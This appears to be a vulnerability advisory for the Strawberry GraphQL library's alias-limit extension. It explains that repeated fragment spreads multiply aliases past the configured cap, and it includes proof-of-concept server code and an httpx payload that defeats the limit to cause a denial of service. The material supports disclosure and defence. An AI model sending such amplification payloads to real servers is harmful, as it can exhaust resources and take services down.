Summary The MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a dos via resource exhaustion.
Details The current implementation of alias counting in strawberry/extensions/maxaliases.py uses a static approach for selection in selectionsetowner.selectionset.selections: if isinstance(selection, FieldNode) and selection.alias: result += 1
if isinstance(selection, (FieldNode, InlineFragmentNode)) and ~~~: result += countfieldswithalias(selection)
When a FragmentSpread is used multiple times, the actual number of aliases processed by the execution engine is
Total Aliases = query aliases + (num of spreads aliases within fragment)
Because Strawberry only performs a static sum of the text, it misses this multiplication
PoC server code import strawberry from fastapi import FastAPI from strawberry.fastapi import GraphQLRouter from strawberry.extensions import MaxAliasesLimiter
@strawberry.type class User: name: str = "GONA"
@strawberry.type class Query: @strawberry.field def user(self) -> User: return User()
Limit is set to 20 aliases schema = strawberry.Schema( query=Query, extensions=[MaxAliasesLimiter(maxaliascount=20)] )
app = FastAPI() app.includerouter(GraphQLRouter(schema), prefix="/graphql")
payloads import httpx
payload = { "query": """ fragment Amplification on User { a1: name, a2: name, a3: name, a4: name, a5: name, a6: name, a7: name, a8: name, a9: name, a10: name } query Bypass { u1: user { ...Amplification } u2: user { ...Amplification } u3: user { ...Amplification } u4: user { ...Amplification } u5: user { ...Amplification } u6: user { ...Amplification } u7: user { ...Amplification } u8: user { ...Amplification } u9: user { ...Amplification } u10: user { ...Amplification } } """ }
response = httpx.post("http://127.0.0.1:8000/graphql", json=payload) print(f"Status: {response.statuscode}") The response will contain 100 'a' aliases nested within 10 'u' aliases. print(response.json())
Impact An attacker can bypass security constraints to cause Application-level DOS. By staying just under the maxaliascount limit in the AST an attacker can trigger thousands of actual alias resolutions on the backend consuming excessive CPU and memory